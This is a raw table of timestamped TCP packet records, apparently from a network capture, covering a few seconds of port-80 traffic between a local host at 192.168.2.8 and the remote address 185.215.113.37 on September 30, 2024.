Sep 30, 2024 12:33:16.729937077 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.729948044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.729959965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.729974985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.729990005 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.729998112 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730009079 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730015993 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730046988 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730060101 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730531931 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730573893 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730582952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730631113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730643034 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730653048 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730674028 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730683088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730746984 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730756044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730773926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730783939 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730813980 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730844021 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730871916 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730881929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730899096 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730907917 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730910063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730925083 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730933905 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730938911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730951071 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730959892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730969906 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730978012 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.730986118 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.730989933 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731008053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731014013 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731021881 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731034994 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731039047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731050014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731060982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731065989 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731086016 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731101990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731117010 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731127024 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731143951 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731153965 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731153965 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731167078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731172085 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731182098 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731188059 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731199980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731209040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731215000 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731228113 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731232882 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731237888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731257915 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731261969 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731271029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731276989 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731286049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.731303930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.731317043 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.830355883 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.830369949 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.830399036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.830482006 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.830533981 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853092909 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853107929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853127003 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853157043 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853173971 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853183031 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853183031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853200912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853210926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853228092 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853238106 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853245974 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853245974 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853272915 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853279114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853286982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853286982 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853312969 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853328943 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853583097 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853621960 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853642941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853652954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853671074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853678942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853687048 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.853693962 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853712082 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.853724957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854017973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854038954 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854047060 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854057074 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854072094 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854094028 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854120016 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854130030 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854144096 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854156971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854161978 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854176044 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854178905 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854190111 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854202986 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854232073 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854270935 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854279995 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854301929 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854305029 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854310036 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854334116 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854340076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854340076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854343891 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854361057 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854368925 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854370117 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854392052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854398012 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854408026 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854418993 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854432106 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854438066 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854444981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854446888 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854463100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854475021 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854482889 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854492903 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854509115 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854516983 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854526043 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854535103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854540110 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854545116 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854572058 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854579926 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854588032 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854593992 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854605913 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854615927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854624987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854638100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854640007 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854664087 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854674101 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854684114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854688883 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854711056 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854729891 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854743004 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854775906 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.854933023 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.854973078 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855000973 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855009079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855031967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855035067 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855046034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855048895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855061054 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855067968 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855082035 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855083942 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855093002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855103970 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855120897 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855139971 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855158091 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855166912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855185986 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855195045 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855195999 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855210066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855223894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855226040 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855257034 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855288029 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855305910 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855315924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855323076 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855334997 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855344057 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855344057 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.855357885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.855377913 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.954660892 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.954673052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.954689980 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:16.954772949 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:16.954822063 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172482967 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172494888 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172499895 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172616959 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172626972 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172633886 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172645092 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172657013 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172677040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172686100 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172698021 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172712088 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172724962 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172744989 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172754049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172766924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172782898 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172792912 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172807932 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172822952 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172832966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172849894 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172849894 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172849894 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172849894 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172851086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172851086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172851086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172851086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172851086 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172862053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172868967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172868967 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172884941 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172893047 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172909975 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172909975 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172921896 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172929049 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172943115 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172945023 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172959089 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172966957 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.172977924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172986031 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.172991991 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173005104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173006058 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173033953 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173051119 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173063040 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173073053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173089981 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173099041 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173100948 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173118114 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173118114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173127890 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173139095 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173145056 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173152924 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173166037 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173166990 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173178911 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173197985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173207045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173212051 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173223019 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173232079 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173235893 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173253059 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173260927 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173263073 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173276901 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173286915 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173293114 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173300982 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173306942 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173321009 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173330069 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173332930 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173346996 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173355103 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173360109 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173367977 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173379898 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173391104 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173402071 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173408985 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173420906 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173420906 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173430920 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173451900 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173464060 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173624992 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173634052 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173651934 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173660040 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173660994 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173676014 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173679113 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173691988 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173695087 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173702002 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173717022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173722029 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173733950 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173742056 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173748016 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173764944 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173773050 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173774958 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173791885 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173791885 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173800945 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173815966 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173820019 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173827887 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173845053 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173850060 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173861027 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173870087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173881054 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173887968 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173896074 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 30, 2024 12:33:17.173906088 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 30, 2024 12:33:17.173918962 CEST	80	49705	185.215.113.37	192.168.2.8
